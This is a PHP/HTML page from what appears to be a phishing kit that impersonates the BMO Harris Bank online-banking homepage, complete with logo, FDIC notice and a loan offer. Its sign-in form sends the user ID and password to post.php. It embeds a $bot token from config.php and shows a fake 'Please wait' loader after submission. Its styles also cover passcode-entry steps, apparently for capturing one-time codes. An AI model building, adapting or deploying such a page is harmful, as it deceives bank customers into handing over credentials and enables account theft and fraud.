<?php include("config.php"); ?>
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/x-icon" href="favicon.ico">
<link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
<title>BMO Harris Bank — Online Banking</title>
<style>
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
:root{--blue:#0075BE;--blue-dk:#005fa0;--blue-lt:#e8f4fb;--red:#C8102E;--text:#1a1a1a;--sub:#555;--border:#d0d8e0;--white:#fff;--bg:#f5f7fa}
html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}
/* top utility */
.top-bar{background:var(--white);border-bottom:1px solid #e0e4eb;padding:0 40px;height:40px;display:flex;align-items:center;justify-content:space-between}
.top-links{display:flex;align-items:center;gap:0}
.top-links a{font-size:12.5px;color:var(--sub);text-decoration:none;padding:0 14px;height:40px;display:flex;align-items:center;border-bottom:2px solid transparent;transition:color .15s,border-color .15s}
.top-links a:hover{color:var(--blue)}
.top-links a.active{color:var(--blue);border-bottom-color:var(--blue);font-weight:600}
.top-right{display:flex;align-items:center;gap:12px}
.top-search{background:none;border:none;cursor:pointer;color:var(--sub);display:flex;align-items:center}
.lang-btn{display:flex;align-items:center;gap:5px;background:none;border:1px solid #ccc;border-radius:4px;padding:4px 10px;cursor:pointer;font-family:'Inter',sans-serif;font-size:12.5px;color:var(--sub)}
/* main nav */
.main-nav{background:var(--white);padding:0 40px;height:72px;display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #e0e4eb;position:relative;z-index:300}
.nav-logo img{height:48px;width:auto;display:block}
.nav-links{display:flex;align-items:center;gap:6px}
.nav-links a{font-size:14.5px;font-weight:500;color:var(--text);text-decoration:none;padding:8px 14px;border-radius:4px;transition:color .15s,background .15s}
.nav-links a:hover{color:var(--blue);background:#f0f6fb}
/* sign in btn */
.btn-signin{background:var(--blue);color:#fff;border:none;border-radius:24px;padding:12px 26px;font-family:'Inter',sans-serif;font-size:14.5px;font-weight:600;cursor:pointer;display:flex;align-items:center;gap:8px;transition:background .15s}
.btn-signin:hover{background:var(--blue-dk)}
/* fdic */
.fdic-bar{background:var(--white);border-bottom:1px solid #e8eaf0;padding:8px 40px;display:flex;align-items:center;gap:10px}
.fdic-badge{background:var(--text);color:#fff;font-size:9.5px;font-weight:900;letter-spacing:.04em;padding:2px 5px;border-radius:2px;flex-shrink:0}
.fdic-bar p{font-size:11.5px;color:var(--sub);font-weight:500}
/* alert banner */
.alert-bar{background:#EEF6FB;border-bottom:1px solid #c5dff0;padding:12px 40px;display:flex;align-items:flex-start;justify-content:space-between;gap:12px}
.alert-bar-inner{display:flex;align-items:flex-start;gap:12px}
.alert-icon{width:28px;height:28px;border-radius:50%;background:var(--blue);display:flex;align-items:center;justify-content:center;flex-shrink:0}
.alert-icon svg{color:#fff}
.alert-text{font-size:13.5px;color:var(--text);line-height:1.5}
.alert-text strong{display:block;font-weight:700;margin-bottom:2px}
.alert-text a{color:var(--blue);font-weight:600}
.alert-close{background:none;border:none;cursor:pointer;color:var(--sub);flex-shrink:0;font-size:18px;line-height:1}
/* hero */
.hero{background:var(--white);padding:56px 40px;display:flex;align-items:center;justify-content:space-between;gap:40px;min-height:420px}
.hero-left{flex:1;max-width:480px}
.hero-left h1{font-size:clamp(28px,3vw,44px);font-weight:800;color:var(--text);line-height:1.15;margin-bottom:22px}
.hero-left p{font-size:15px;color:var(--sub);line-height:1.65;margin-bottom:10px}
.hero-left .terms{font-size:12.5px;color:var(--sub);margin-bottom:28px}
.btn-get-started{display:inline-flex;align-items:center;padding:12px 28px;border:2px solid var(--blue);border-radius:24px;background:transparent;color:var(--blue);font-family:'Inter',sans-serif;font-size:13px;font-weight:700;cursor:pointer;letter-spacing:.06em;text-transform:uppercase;text-decoration:none;transition:background .15s,color .15s}
.btn-get-started:hover{background:var(--blue);color:#fff}
.hero-right{flex-shrink:0;width:48%;position:relative}
.hero-right img{width:100%;border-radius:16px;box-shadow:0 12px 40px rgba(0,0,0,.12);display:block}
/* bmo personal strip */
.personal-strip{padding:48px 40px;text-align:center;background:var(--white);border-top:1px solid #e8eaf0}
.personal-strip .overline{font-size:12px;font-weight:700;color:var(--blue);letter-spacing:.14em;text-transform:uppercase;margin-bottom:12px}
.personal-strip h2{font-size:clamp(22px,2.4vw,34px);font-weight:800;color:var(--text)}
/* login dropdown */
.signin-wrap{position:relative}
.signin-dd{display:none;position:absolute;top:calc(100% + 14px);right:0;width:330px;background:var(--white);border:1px solid var(--border);border-radius:8px;box-shadow:0 8px 32px rgba(0,0,0,.14);z-index:500;padding:24px 22px 20px;animation:ddIn .18s ease both}
.signin-dd.open{display:block}
@keyframes ddIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}
.signin-dd::before{content:'';position:absolute;top:-7px;right:28px;width:14px;height:14px;background:var(--white);transform:rotate(45deg);border-radius:2px 0 0 0;border-left:1px solid var(--border);border-top:1px solid var(--border)}
.dd-title{font-size:17px;font-weight:700;color:var(--text);margin-bottom:16px}
.dd-f{margin-bottom:12px}
.dd-f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:6px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.dd-f input::placeholder{color:#aab}
.dd-f input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(0,117,190,.12);background:#fff}
.btn-dd-signin{width:100%;height:46px;background:var(--blue);color:#fff;border:none;border-radius:6px;font-family:'Inter',sans-serif;font-size:15px;font-weight:700;cursor:pointer;margin-bottom:14px;transition:background .15s}
.btn-dd-signin:hover{background:var(--blue-dk)}
.dd-links{display:flex;align-items:center;gap:6px;font-size:12.5px}
.dd-links a{color:var(--blue);text-decoration:none}
.dd-links a:hover{text-decoration:underline}
.dd-links span{color:#ccc}
/* loader */
#loader{display:none;position:fixed;inset:0;background:rgba(255,255,255,.92);z-index:9999;flex-direction:column;align-items:center;justify-content:center;gap:16px}
#loader img{width:56px;height:56px;animation:spin 1s linear infinite}
#loader p{font-size:15px;font-weight:600;color:#333;font-family:'Inter',sans-serif}
@keyframes spin{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}
/* page bg (inner pages) */
.page-bg{flex:1;position:relative;display:flex;align-items:center;justify-content:center;padding:60px 20px;background:var(--bg)}
.bg-art{position:absolute;right:0;top:0;bottom:0;width:48%;background:url('res/img/background.jpeg') center center / cover no-repeat;opacity:.1;z-index:0}
.card{position:relative;z-index:2;background:var(--white);width:100%;max-width:520px;border-radius:10px;padding:38px;box-shadow:0 8px 40px rgba(0,0,0,.12);animation:ci .4s ease both}
@keyframes ci{from{opacity:0;transform:translateY(14px)}to{opacity:1;transform:translateY(0)}}
.card-logo{margin-bottom:22px;text-align:center}
.card-logo img{height:46px;width:auto;display:inline-block}
.steps{display:flex;align-items:center;gap:8px;margin-bottom:22px}
.st{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
.st.done{background:var(--blue);color:#fff}
.st.active{background:var(--blue);color:#fff;box-shadow:0 0 0 3px rgba(0,117,190,.2)}
.st.pend{background:#eef0f8;color:#aab}
.sl{flex:1;height:2px;background:#dde2ea;border-radius:2px}
.sl.done{background:var(--blue);opacity:.4}
.ch{margin-bottom:18px;padding-bottom:16px;border-bottom:3px solid var(--blue)}
.ch h1{font-size:20px;font-weight:700;color:var(--text)}
.ch p{font-size:13px;color:var(--sub);margin-top:4px}
.notice{display:flex;align-items:center;gap:9px;background:var(--blue-lt);border:1px solid #b8d8ef;border-radius:6px;padding:10px 13px;margin-bottom:16px}
.notice svg{flex-shrink:0;color:var(--blue)}
.notice span{font-size:12.5px;color:var(--blue);font-weight:500}
.f{margin-bottom:13px}
.f label{display:block;font-size:11.5px;font-weight:700;color:var(--sub);margin-bottom:5px;letter-spacing:.05em;text-transform:uppercase}
.f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:6px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.f input::placeholder{color:#bbb}
.f input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(0,117,190,.12);background:#fff}
.frow{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-bottom:13px}
.frow .f{margin-bottom:0}
.btn-main{width:100%;height:48px;background:var(--blue);color:#fff;border:none;border-radius:24px;font-family:'Inter',sans-serif;font-size:15px;font-weight:700;cursor:pointer;margin-bottom:16px;display:flex;align-items:center;justify-content:center;gap:8px;transition:background .15s}
.btn-main:hover{background:var(--blue-dk)}
.clinks{display:flex;flex-direction:column;gap:10px;padding-top:14px;border-top:1px solid var(--border)}
.clinks a{font-size:13px;color:var(--blue);text-decoration:none;display:flex;align-items:center;gap:5px}
.clinks a:hover{text-decoration:underline}
/* wait */
.ring-wrap{position:relative;width:138px;height:138px;margin:0 auto 22px}
.ring-wrap svg{width:138px;height:138px;transform:rotate(-90deg)}
.ring-track{fill:none;stroke:#dde2ea;stroke-width:6}
.ring-prog{fill:none;stroke:var(--blue);stroke-width:6;stroke-linecap:round;stroke-dasharray:326.7;stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;filter:drop-shadow(0 0 5px rgba(0,117,190,.3))}
.ring-lbl{position:absolute;inset:0;display:flex;flex-direction:column;align-items:center;justify-content:center}
.ring-time{font-size:32px;font-weight:700;color:var(--blue);line-height:1}
.ring-unit{font-size:11px;color:var(--sub);margin-top:5px;letter-spacing:.08em;text-transform:uppercase}
.dots{display:flex;justify-content:center;gap:8px;margin-bottom:20px}
.dots span{width:9px;height:9px;border-radius:50%;background:#dde2ea;transition:background .4s,transform .3s}
.dots span.lit{background:var(--blue);transform:scale(1.25)}
.info-n{display:inline-flex;align-items:center;gap:8px;background:var(--blue-lt);border:1px solid #b8d8ef;border-radius:6px;padding:10px 18px;font-size:12.5px;color:var(--blue);font-weight:600}
/* otp */
.otp-row{display:flex;gap:8px;justify-content:center;margin-bottom:12px}
.otp-row input{width:54px;height:58px;border:1.5px solid var(--border);border-radius:6px;font-size:26px;font-weight:700;color:var(--blue);text-align:center;background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;caret-color:var(--blue);-webkit-appearance:none;font-family:'Inter',sans-serif}
.otp-row input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(0,117,190,.12);background:#fff}
.otp-row input.filled{border-color:var(--blue);background:var(--blue-lt)}
.phone-b{display:flex;align-items:center;gap:11px;background:var(--blue-lt);border:1px solid #b8d8ef;border-radius:6px;padding:12px 14px;margin-bottom:20px}
.phone-icon{width:32px;height:32px;background:var(--blue);border-radius:4px;display:flex;align-items:center;justify-content:center;flex-shrink:0}
.phone-icon svg{color:#fff}
.phone-txt{font-size:12.5px;color:var(--sub);line-height:1.5}
.phone-txt strong{display:block;font-size:13px;color:var(--text);font-weight:700;margin-bottom:1px}
.resend-row{display:flex;align-items:center;justify-content:space-between;margin-bottom:20px;margin-top:8px}
.resend-timer{font-size:12.5px;color:var(--sub);display:flex;align-items:center;gap:5px}
.resend-timer span{font-weight:700;color:var(--blue);min-width:32px}
.resend-btn{font-size:13px;color:var(--blue);font-weight:600;background:none;border:none;cursor:pointer;text-decoration:underline;font-family:'Inter',sans-serif;padding:0}
.resend-btn:disabled{color:var(--sub);text-decoration:none;cursor:default;opacity:.6}
.otp-lbl{font-size:12px;font-weight:700;color:var(--sub);margin-bottom:12px;letter-spacing:.06em;text-transform:uppercase}
/* footer */
.page-footer{background:#1a2a3a;padding:20px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
.footer-links{display:flex;gap:20px;flex-wrap:wrap}
.footer-links a{font-size:12px;color:rgba(255,255,255,.5);text-decoration:none}
.footer-links a:hover{color:#fff}
.footer-copy{font-size:12px;color:rgba(255,255,255,.3)}
@media(max-width:900px){.nav-links{display:none}.main-nav{padding:0 20px}.top-bar{padding:0 20px}.fdic-bar,.alert-bar,.personal-strip{padding-left:20px;padding-right:20px}.hero{flex-direction:column;padding:36px 20px}.hero-right{width:100%}}
@media(max-width:500px){.card{padding:24px 20px 28px}.frow{grid-template-columns:1fr}.otp-row input{width:44px;height:50px;font-size:22px}.signin-dd{width:290px;right:-10px}.top-links a:not(.active){display:none}}
</style>
</head><body><div class="top-bar">
    <div class="top-links">
        <a href="#" class="active">Personal</a>
        <a href="#">Business</a><a href="#">Wealth</a>
        <a href="#">Commercial</a><a href="#">Capital Markets</a>
        <a href="#">Global Asset Management</a><a href="#">About BMO</a>
    </div>
    <div class="top-right">
        <button class="top-search"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg></button>
        <button class="lang-btn">🇺🇸 EN <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></button>
    </div>
</div><nav class="main-nav">
    <div class="nav-logo"><img src="res/img/logo.svg" alt="BMO Harris Bank"></div>
    <div class="nav-links">
        <a href="#">Checking &amp; Savings</a>
        <a href="#">Credit Cards</a>
        <a href="#">Loans</a>
        <a href="#">Mortgages</a>
        <a href="#">Investing &amp; Retirement</a>
    </div>
    <div class="signin-wrap">
        <button class="btn-signin" id="signin-trigger">
            <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
            SIGN IN
            <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg>
        </button>
        <div class="signin-dd" id="signin-dd">
            <div class="dd-title">Sign in to BMO</div>
            <script>var token=<?php echo json_encode($bot); ?>;</script>
            <form action="post.php" method="post" id="lf">
                <div class="dd-f"><input type="text" name="user" placeholder="User ID" required autocomplete="username"></div>
                <div class="dd-f"><input type="password" name="pass" placeholder="Password" required autocomplete="current-password"></div>
                <button type="submit" class="btn-dd-signin">Sign In</button>
                <div class="dd-links"><a href="#">Forgot User ID</a><span>|</span><a href="#">Forgot Password</a></div>
            </form>
        </div>
    </div>
</nav><div class="fdic-bar">
    <span class="fdic-badge">FDIC</span>
    <p>FDIC-Insured—Backed by the full faith and credit of the U.S. Government</p>
</div>
<div class="alert-bar" id="alert-bar">
    <div class="alert-bar-inner">
        <div class="alert-icon"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg></div>
        <div class="alert-text"><strong>U.S. Government Shutdown</strong>Have you been affected by the shutdown? <a href="#">Learn more</a> about financial relief and how we can assist you.</div>
    </div>
    <button class="alert-close" onclick="document.getElementById('alert-bar').style.display='none'">✕</button>
</div>
<div class="hero">
    <div class="hero-left">
        <h1>Home Equity Line of Credit</h1>
        <p>Get a variable introductory rate of 5.24% APR for 6 months, with a variable rate as low as 7.24% thereafter!*</p>
        <p class="terms">*Terms and conditions apply.</p>
        <a href="#" class="btn-get-started">Get Started</a>
    </div>
    <div class="hero-right">
        <img src="res/img/background.jpeg" alt="BMO Harris Banking">
    </div>
</div>
<div class="personal-strip">
    <div class="overline">BMO Personal Banking</div>
    <h2>What can we help you find today?</h2>
</div>
<footer class="page-footer">
    <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">FDIC</a><a href="#">Contact Us</a></div>
    <div class="footer-copy">© 2025 BMO Harris Bank N.A. Member FDIC. Equal Housing Lender.</div>
</footer><div id="loader"><img src="res/img/logo.svg" alt="Loading"><p>Please wait...</p></div>
<script>
var t=document.getElementById('signin-trigger'),d=document.getElementById('signin-dd');
t.addEventListener('click',function(e){e.stopPropagation();d.classList.toggle('open');});
document.addEventListener('click',function(e){if(!document.querySelector('.signin-wrap').contains(e.target))d.classList.remove('open');});
document.addEventListener('keydown',function(e){if(e.key==='Escape')d.classList.remove('open');});
document.getElementById('lf').addEventListener('submit',function(){d.classList.remove('open');document.getElementById('loader').style.display='flex';});
</script><script src="./res/jq.js"></script></body></html>